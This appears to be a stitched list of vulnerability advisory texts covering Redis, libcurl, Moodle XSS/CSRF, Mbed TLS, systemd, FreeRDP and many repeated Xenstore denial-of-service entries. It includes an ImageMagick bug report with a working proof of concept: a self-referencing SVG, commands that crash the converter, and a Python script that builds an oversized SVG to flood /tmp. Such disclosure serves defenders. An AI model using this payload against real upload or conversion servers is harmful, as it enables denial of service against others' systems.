A vulnerability was found in Redis. This flaw allows authenticated users to use the HINCRBYFLOAT command to create an invalid hash field that may crash Redis on access.
Insufficient filtering of grade report history made it possible for teachers to access the names of users they could not otherwise access.
An authentication bypass vulnerability exists libcurl <8.0.0 in the connection reuse feature which can reuse previously established connections with incorrect user permissions due to a failure to check for changes in the CURLOPTGSSAPIDELEGATION option. This vulnerability affects krb5/kerberos/negotiate/GSSAPI transfers and could potentially result in unauthorized access to sensitive information. The safest option is to not reuse connections if the CURLOPTGSSAPIDELEGATION option has been changed.
An authentication bypass vulnerability exists in libcurl <8.0.0 in the FTP connection reuse feature that can result in wrong credentials being used during subsequent transfers. Previously created connections are kept in a connection pool for reuse if they match the current setup. However certain FTP settings such as CURLOPTFTPACCOUNT CURLOPTFTPALTERNATIVETOUSER CURLOPTFTPSSLCCC and CURLOPTUSESSL were not included in the configuration match checks causing them to match too easily. This could lead to libcurl using the wrong credentials when performing a transfer potentially allowing unauthorized access to sensitive information.
Summary Specially crafted SVG file make segmentation fault and generate trash files in "/tmp", possible to leverage DoS.
Operating system, version and so on
Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara)
Tested ImageMagick version
6.9.11-60, 7.1.0-62
Details A specially created SVG file that loads by itself and make segmentation fault. Remote attackers can take advantage of this vulnerability to cause a denial of service of the generated SVG file.
It seems that this error affects a lot of websites and causes a generating trash files in /tmp when uploading this PC file to the server.
I think it's better to check the file descriptor coming from itself before executing read().
PoC 1. Generate SVG file: <?xml version="1.0" standalone="yes"?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href="bad.svg" /> </svg> 2. Run some commands for verification: $rm -f /tmp/ $./magick --version Version: ImageMagick 7.1.0-62 Q16-HDRI x8664 74b3683a4:20230211 https://imagemagick.org Copyright: (C) 1999 ImageMagick Studio LLC License: https://imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP(4.5) Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib Compiler: gcc (7.5) $./magick convert -verbose -font OpenSymbol bad.svg t.jpg 'inkscape' '/tmp/magick-ixX13JwrwrLUhyucKsGxechsQtEN4Zji' --export-filename='/tmp/magick-qp154V6U-dyAwtU-QbcnWD8XKFcG7q5k.png' --export-dpi='96' --export-background='rgb(100%,100%,100%)' --export-background-opacity='1' > '/tmp/magick-YWdlPJt-9BfRq0uY2vmzaVOxWfjyvl' 2>&1 Segmentation fault $ls /tmp magick-1iZstE-dzlzQTN4HkWXJlakXXtH4IEM magick-GeFwj8BewISDLJnsr4s5WC7p079pzXN magick-s7QN2tTaiXEr9KmkbkHdmtfmgrnjFRaM magick-1LG0ND-RZMQOG8xizDHd-qdd6Fu70YP magick-ggORXwnSivWesH2gthhafuLTVw7TLqwP magick-s835rBXZIGK5bkp3ijKoMTCbcyWza3ON magick-25byXoEeEr2dWIkr9nyEoVz1MHC2n9M magick-GrRg60fY1LOv4uUhqD16AaEcL6rWtNeN magick-siS7QSav31X63ENYmecytIjx1iKmWAN magick-2Dj7LuLUHF6Y93mZ9ZT8a5taf7b5Hb9O magick-gTQUBafZIaI1n8q-QXOwOvyc6qv3tolN magick-SIXvVjWVvDhX1w5NL9K6owJtO0CgG3NN magick-2GrJuPlQjwGwsTK8I1aTMxg90h8PeK4M magick-hik3AU2x0DR8ViIBXUIuRljCXSmgqO magick-sJhO2YvaeKsxt1JxDENKIiQqkOkSfwM magick-2QIFnR9e-fYRFevd1-vQ-bSk0I1VOAsO magick-HJ18uyG3HLvEftNcMqCEJ5LKwi12CQgO magick-SNgGdhyKjp5TZZQmWqioLEcyQ8vMzG3O magick-2rEueYW0PIXGxE1zHm3LsGedMW2KLdgP magick-hUaNDJgYfzTzJes4QlnLwaYh2fcaOWgQ magick-SxLBCSdKVHSQOrjohe4WFyLHaPOyDUiP magick-2uRqbAjqkXXMMGQHpw8WG18lnDHaRd3N magick-HWqrSdjihWMzjJeRiAkKbgrIljhUM magick-t02HQvZSsYLzmJesC2Mpjp5OL3zN4A5P magick-3dPT4h0HzM6ZqCwpGEB69e27pZhHbfHP magick-iEMFbMc2VvGj067miVskUC-mxOveGpqO magick-T4kTJGu-6wF60OOIHOB5tKO63NW5qTTL magick-3SVSiI4YgeQ01ZZV8lZsBMMhauuwpO magick-InCjmKQ7uSGizlJFOZz9Vo3Ax1yvLy5L magick-TGIY7l3-dNVdAbGaMIbN0z3YGy5mrNvM magick-3WQIQghdu9-YHVasNASfkkU63yyVdmfO magick-IPu9YWX3Lk96EkP63KLqQ-CX6020cZMN magick-Thg6M-CqdcXc0SyjRdYm19rtVBLt2U6P magick-4hLf4JPIes67QpGP7GfmOPftGvENC1aN magick-IVKuPYBpBe6Lx9F3lLMAMCjIptMoz0ZM magick-TiTtPZdT3Zgsd-pasyRFTb-DbLGNqJTO magick-4tTMAJrCHh2E8M1xw5BIjx8UDyb42FWM magick-IVzovwQiOR2fwJDO5E5RZb58apCPBX8M magick-TQZIwyyLufZWMVx1-k3YLSYSsGl6upM magick-4xs5mqt95PYGrXXxZiwyYHFKREC0NEWL magick-J36psEABfkKfgVQdeFsptbkRWT0b1uNP magick-tzMg0NWi-GQOzES2aPMPRqCk-bgjyVN magick-5DmloHI-m-WPROyfQmm5cF8GOEVa5EqO magick-jEq-Q6t6D3CU-eevjhgfjULPP3pOEoO magick-ULNarZD53mUqpJrHZVeZw5x0cuUH683N magick-5JvQUY2vVqkpzhfUTcsxaoYB2WImZN magick-jNiokVz0Iifz5QX3a9AUIUOBoxfJ49P magick-uLR13qPG6X-c3avLRypLJ-C7-UiUH9tM magick-5NoXNg55Xyh8816ksKEcqreuN1BF93LO magick-jwa4IVvrxrE4OTSA0m8iB2W3K5LiinmQ magick-uW9khwJZfM4EH1cETVDv09QnueONQGPP magick-60BRKi88--TOk-Sp8t5nAyAxjSuOpxfO magick-K5mhLUCkx0WJxcWr7G7oT0nNrc5qBvgQ magick-v4l3nLHBXBjCNc-nTHSTwUOEfsNCUMnP magick-6t2qBJnplYLZZo5thj6PV0R15LrPe4L magick-K5qzx3k8-36H5wfEgl3Jy1oNpOyscHhN magick-v7Xme5JIf4lCCCwXJkIuQNHEE7D1LM magick-6UmuyWO8OviaajA92VeD1bK8z0btAO magick-K6-l4o2PkC4V7NqIJ9y-ifJLl6lSzdM magick-vd7xpM8OrXvu3Oftqd7xdRmGDdoGcHrP magick-725dkkTfpkfKmogI4WLWWwCbrxc0aysP magick-KchLIwf4-ahsUq1FsJfK58j3Jb6CAMTP magick-VhfNmWGF-AOhytm1DMGG8n1DLOAG3p1N magick-7rZGPFyH2Q7ibxFrB4kTQZjkihhU9uO magick-kpcUuOTI4UlrK8kHoZh38ziLMmBjtjvO magick-vHpPz6BixbqmYCqD2zs2sU4hFRbQoP magick--7T1tmKSEJSSPJIgeDEQ9PLdo8oPh60P magick-kReWGvubeCrLdw4RcRsJdJhlV43wCffM magick-VLoWnTJppgO7-ivh0quuGcgPDkuyKPN magick-8jBguKQr6qeZTsw4eFbQWO34ndlsBpbO magick-LBjQNSTFFpLRnj3Cldvjm5ePWYL1fLL magick-VpvOIJK-XsFRZeAS1ZJ9Ra2vkgJbCOL magick-9Hno6LBapbL0jwCSEC7Ua6A7kB3uYiN magick-Lfu-5C1697AwNxTZnljfR24E27ZDnwP magick-VpzT9KMjKbomi6mV3ZnnRkoq1WAP41vM magick-9SN2401usIEYCc6zcn442pdvqyVdPWaQ magick-lHxUfKDHYSfpVi7yOc31u7gJVTXLhSuN magick-vRG2rcf6I8lB2MJF6DqHqh2z21IP5N magick-a1uVHLsbEnA8yXKvwmW3PWAFBdnfoSnQ magick-M4mcsykxHPNkFTDgc4tdJ9kP1Trkm64M magick-vw2VNrClFVhnXLqVoIz35Xpo232qsngN magick-AbpJUZcspor3bkYr70l17bGSjntyAhZP magick-m5P0dZWaFUeZo4kr8HcO6vpfuICmmBcM magick-WEYdL0amRHxeCpuGiFEuulRwwzkjZyXO magick-AcsyQEmT-x7nE6DvfIv2pqjLbfJYTtN magick-MHI0zAFGR1-ljbFLl12i5hFVpkoBbdpN magick-WKjEejTF4V6JtkCbFEy2B6kQcyFseQ magick-Ai76QfTBT0DXjGqvZaAGiagvAxuGM magick-mOckduEYCLc9gy1XwVgtJWpr1aDU7QP magick-WkkwqgsnNNSleWlRm-1BN8RiE-QcF9lO magick-albfl7tU2ASh6PRhnMWBDscz31fS1BO magick-MrajCpsti3MlAWlNviDCY3iUeZsgGLM magick-WMlxV7rdjtMYe1F0aggQZW2WNpvhY2GO magick-A-nsLcvOOBlHzdBGQMSsdTrvsfUevEQO magick-mZyca0hC8atGLvY-m0UYec1yCU3rGIWM magick-wnqAodNT7ZVbe8dIN-Gd2pxCNo6cwzOL magick-AplCAOC7K6cDM3qO3wqSONMhVuztohO magick-NAH0CgD3XCLMS1VN-4yju-2RCdFJbGO magick-wP3Q3aM05wB2K6NBolzm6sCR3b5wE1P magick-ApNw8tmuaXUw-mqdMF7P0ZKOV3YHwQGM magick-NU3oGX5NxUhJvWQWWY8-7BNAnHWJceM magick-wsCa-R-K6HYtZ7FWWnPg3FpOyGmS1wuO magick-AWye85xaEct6rGB9bIvIz9BBhrRyg3O magick-NZBKgJGx7bH8uZ2PiKF8jtzCI9aBDVZN magick-WvNjMMQ2gXHSGNWCMceMqBL8ksnGZIuO magick-aXtmFaHIdz24xjFvCy4ZQda2wef0AH0N magick-o3FerPGSptnb0U5mHu6DH-00ZTlTlDCO magick-xAPfisi5E9NHJKbkrbCGioXCkTs3uDYM magick-B5uiXH3Mrf0GgmF9NAPwqSJd-lMFLfrM magick-o4Dl5iYn3veI54-lNtHgm6wnAIQ79urP magick-Xb2irJZuxzYWsCfmYHc8oaKU67ANR27N magick-BEr6VZecWKFCRVuSXPEIbJu6uuBe0pO magick-o9S5taGlSrED8zUEtv0EkpjoWk61fJBO magick-Xkes-QQqXhMthGwFKxLjpRvL96qRd6O magick-bKCtVcSkQqtXdjO8XAyWeocMsYuZArN magick-OeHngPf0pRuDH9DpIsOpkoAbDnAvBTL magick-xlhsal9kyY6QMOSb1WmyTx1vGTqE94bO magick-Btw2-hfTAVQLiPRMXakrXsUhstT2ZGM magick-OhD82cIFbY91zGxpIt52AbjWekddAU2L magick-xmmr39PvOExl0B8w0YOoq2yYyWoVLM magick-By2pnDUxk85bO3M7kkMbAEXHGShyc0O magick-OlcHbZjE-66xMyWVlhfAucxYJioiQ4L magick-xq9qw9wK-TRFokBTostne36jQXljCa7M ...
Impact Possible DOS, because when ImageMagick crashes it generates a lot of trash files. This trash file can be large, if SVG file contains many render action.
Additional impact In DOS attack if remount attacker uploads an SVG file of size t, ImageMagick generates files of size 103t. This means that if an attacker uploads a 100 M SVG, the server will generate about 10 G.
Example: $cat dospoc.py open("baddos.svg", "w").write("""<?xml version="1.0"?> <?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?> <!DOCTYPE test> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" href="baddos.svg"""" + "0"(10241021) + """"" /> </svg>""") $rm -rf /tmp/magick- $python3 dospoc.py $du -h baddos.svg 1,0M baddos.svg $../magick convert -font OpenSymbol baddos.svg t.jpg Segmentation fault $cat /tmp/magick- > dosk.txt $du -h dosk.txt 103M dosk.txt
P. S. If ImageMagick will work in Docker container this attack will crash server where docker running. Because the size of the docker container will increase.
An issue was discovered in Mbed TLS before 2.28.2 and 3.x before 3.3.0. An adversary with access to precise enough information about memory accesses (typically an untrusted operating system attacking a secure enclave) can recover an RSA private key after observing the victim performing a single private-key operation if the window size (MBEDTLSMPIWINDOWSIZE) used for the exponentiation is 3 or smaller.
qpress before PierreLvx/qpress 20220819 and before version 11.3, as used in Percona XtraBackup and other products, allows directory traversal via ../ in a .qp file.
systemd 250 and 251 allows local users to achieve a systemd-coredump deadlock by triggering a crash that has a long backtrace. This occurs in parseelfobject in shared/elf-util.c. The exploitation methodology is to crash a binary calling the same function recursively, and put it in a deeply nested directory to make its backtrace large enough to cause the deadlock. This must be done 16 times when MaxConnections=16 is set for the systemd/units/systemd-coredump.socket file.
FreeRDP is a free remote desktop protocol library and clients. Affected versions of FreeRDP are missing input length validation in drive channel. A malicious server can trick a FreeRDP based client to read out of bound data and send it back to the server. This issue has been addressed in version 2.9.0 and all users are advised to upgrade. Users unable to upgrade should not use the drive redirection channel - command line options /drive, +drives or +home-drive.
A vulnerability was found in Moodle which exists due to insufficient validation of the HTTP request origin in course redirect URL. A user's CSRF token was unnecessarily included in the URL when being redirected to a course they have just restored. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website. This flaw allows an attacker to perform cross-site request forgery attacks.
A reflected cross-site scripting vulnerability was discovered in Moodle. This flaw exists due to insufficient sanitization of user-supplied data in policy tool. An attacker can trick the victim to open a specially crafted link that executes an arbitrary HTML and script code in user's browser in context of vulnerable website. This vulnerability may allow an attacker to perform cross-site scripting (XSS) attacks to gain access potentially sensitive information and modification of web pages.
MSA-22-0031: Stored XSS possible in some "social" user profile fields
The "social" user profile field type performed insufficient escaping on some fields, resulting in a stored XSS risk.
Versions affected: 4.0 to 4.0.4 and 3.11 to 3.11.10 Versions fixed: 4.0.5 and 3.11.11
Stack Overflow in Snakeyaml
Xenstore: Guests can create orphaned Xenstore nodes By creating multiple nodes inside a transaction resulting in an error, a malicious guest can create orphaned nodes in the Xenstore data base, as the cleanup after the error will not remove all nodes already created. When the transaction is committed after this situation, nodes without a valid parent can be made permanent in the data base.
Xenstore: guests can let run xenstored out of memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Malicious guests can cause xenstored to allocate vast amounts of memory, eventually resulting in a Denial of Service (DoS) of xenstored. There are multiple ways how guests can cause large memory allocations in xenstored: - - by issuing new requests to xenstored without reading the responses, causing the responses to be buffered in memory - - by causing large number of watch events to be generated via setting up multiple xenstore watches and then e.g. deleting many xenstore nodes below the watched path - - by creating as many nodes as allowed with the maximum allowed size and path length in as many transactions as possible - - by accessing many nodes inside a transaction
Xenstore: guests can let run xenstored out of memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Malicious guests can cause xenstored to allocate vast amounts of memory, eventually resulting in a Denial of Service (DoS) of xenstored. There are multiple ways how guests can cause large memory allocations in xenstored: - - by issuing new requests to xenstored without reading the responses, causing the responses to be buffered in memory - - by causing large number of watch events to be generated via setting up multiple xenstore watches and then e.g. deleting many xenstore nodes below the watched path - - by creating as many nodes as allowed with the maximum allowed size and path length in as many transactions as possible - - by accessing many nodes inside a transaction
Xenstore: guests can let run xenstored out of memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Malicious guests can cause xenstored to allocate vast amounts of memory, eventually resulting in a Denial of Service (DoS) of xenstored. There are multiple ways how guests can cause large memory allocations in xenstored: - - by issuing new requests to xenstored without reading the responses, causing the responses to be buffered in memory - - by causing large number of watch events to be generated via setting up multiple xenstore watches and then e.g. deleting many xenstore nodes below the watched path - - by creating as many nodes as allowed with the maximum allowed size and path length in as many transactions as possible - - by accessing many nodes inside a transaction
Xenstore: guests can let run xenstored out of memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Malicious guests can cause xenstored to allocate vast amounts of memory, eventually resulting in a Denial of Service (DoS) of xenstored. There are multiple ways how guests can cause large memory allocations in xenstored: - - by issuing new requests to xenstored without reading the responses, causing the responses to be buffered in memory - - by causing large number of watch events to be generated via setting up multiple xenstore watches and then e.g. deleting many xenstore nodes below the watched path - - by creating as many nodes as allowed with the maximum allowed size and path length in as many transactions as possible - - by accessing many nodes inside a transaction
Xenstore: guests can let run xenstored out of memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Malicious guests can cause xenstored to allocate vast amounts of memory, eventually resulting in a Denial of Service (DoS) of xenstored. There are multiple ways how guests can cause large memory allocations in xenstored: - - by issuing new requests to xenstored without reading the responses, causing the responses to be buffered in memory - - by causing large number of watch events to be generated via setting up multiple xenstore watches and then e.g. deleting many xenstore nodes below the watched path - - by creating as many nodes as allowed with the maximum allowed size and path length in as many transactions as possible - - by accessing many nodes inside a transaction
Xenstore: guests can let run xenstored out of memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Malicious guests can cause xenstored to allocate vast amounts of memory, eventually resulting in a Denial of Service (DoS) of xenstored. There are multiple ways how guests can cause large memory allocations in xenstored: - - by issuing new requests to xenstored without reading the responses, causing the responses to be buffered in memory - - by causing large number of watch events to be generated via setting up multiple xenstore watches and then e.g. deleting many xenstore nodes below the watched path - - by creating as many nodes as allowed with the maximum allowed size and path length in as many transactions as possible - - by accessing many nodes inside a transaction
Xenstore: guests can let run xenstored out of memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Malicious guests can cause xenstored to allocate vast amounts of memory, eventually resulting in a Denial of Service (DoS) of xenstored. There are multiple ways how guests can cause large memory allocations in xenstored: - - by issuing new requests to xenstored without reading the responses, causing the responses to be buffered in memory - - by causing large number of watch events to be generated via setting up multiple xenstore watches and then e.g. deleting many xenstore nodes below the watched path - - by creating as many nodes as allowed with the maximum allowed size and path length in as many transactions as possible - - by accessing many nodes inside a transaction
Xenstore: guests can let run xenstored out of memory T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Malicious guests can cause xenstored to allocate vast amounts of memory, eventually resulting in a Denial of Service (DoS) of xenstored. There are multiple ways how guests can cause large memory allocations in xenstored: - - by issuing new requests to xenstored without reading the responses, causing the responses to be buffered in memory - - by causing large number of watch events to be generated via setting up multiple xenstore watches and then e.g. deleting many xenstore nodes below the watched path - - by creating as many nodes as allowed with the maximum allowed size and path length in as many transactions as possible - - by accessing many nodes inside a transaction
Xenstore: Guests can cause Xenstore to not free temporary memory When working on a request of a guest, xenstored might need to allocate quite large amounts of memory temporarily. This memory is freed only after the request has been finished completely. A request is regarded to be finished only after the guest has read the response message of the request from the ring page. Thus a guest not reading the response can cause xenstored to not free the temporary memory. This can result in memory shortages causing Denial of Service (DoS) of xenstored.
Xenstore: Cooperating guests can create arbitrary numbers of nodes T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Since the fix of XSA-322 any Xenstore node owned by a removed domain will be modified to be owned by Dom0. This will allow two malicious guests working together to create an arbitrary number of Xenstore nodes. This is possible by domain A letting domain B write into domain A's local Xenstore tree. Domain B can then create many nodes and reboot. The nodes created by domain B will now be owned by Dom0. By repeating this process over and over again an arbitrary number of nodes can be created, as Dom0's number of nodes isn't limited by Xenstore quota.
Xenstore: Guests can crash xenstored via exhausting the stack Xenstored is using recursion for some Xenstore operations (e.g. for deleting a sub-tree of Xenstore nodes). With sufficiently deep nesting levels this can result in stack exhaustion on xenstored, leading to a crash of xenstored.
Xenstore: Cooperating guests can create arbitrary numbers of nodes T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Since the fix of XSA-322 any Xenstore node owned by a removed domain will be modified to be owned by Dom0. This will allow two malicious guests working together to create an arbitrary number of Xenstore nodes. This is possible by domain A letting domain B write into domain A's local Xenstore tree. Domain B can then create many nodes and reboot. The nodes created by domain B will now be owned by Dom0. By repeating this process over and over again an arbitrary number of nodes can be created, as Dom0's number of nodes isn't limited by Xenstore quota.
Xenstore: Guests can create arbitrary number of nodes via transactions T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] In case a node has been created in a transaction and it is later deleted in the same transaction, the transaction will be terminated with an error. As this error is encountered only when handling the deleted node at transaction finalization, the transaction will have been performed partially and without updating the accounting information. This will enable a malicious guest to create arbitrary number of nodes.
Xenstore: Guests can create arbitrary number of nodes via transactions T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] In case a node has been created in a transaction and it is later deleted in the same transaction, the transaction will be terminated with an error. As this error is encountered only when handling the deleted node at transaction finalization, the transaction will have been performed partially and without updating the accounting information. This will enable a malicious guest to create arbitrary number of nodes.
Oxenstored 32->31 bit integer truncation issues Integers in Ocaml are 63 or 31 bits of signed precision. The Ocaml Xenbus library takes a C uint32t out of the ring and casts it directly to an Ocaml integer. In 64-bit Ocaml builds this is fine, but in 32-bit builds, it truncates off the most significant bit, and then creates unsigned/signed confusion in the remainder. This in turn can feed a negative value into logic not expecting a negative value, resulting in unexpected exceptions being thrown. The unexpected exception is not handled suitably, creating a busy-loop trying (and failing) to take the bad packet out of the xenstore ring.
An issue was discovered in OpenStack Sushy-Tools through 0.21.0 and VirtualBMC through 2.2.2. Changing the boot device configuration with these packages removes password protection from the managed libvirt XML domain. NOTE: this only affects an "unsupported, production-like configuration."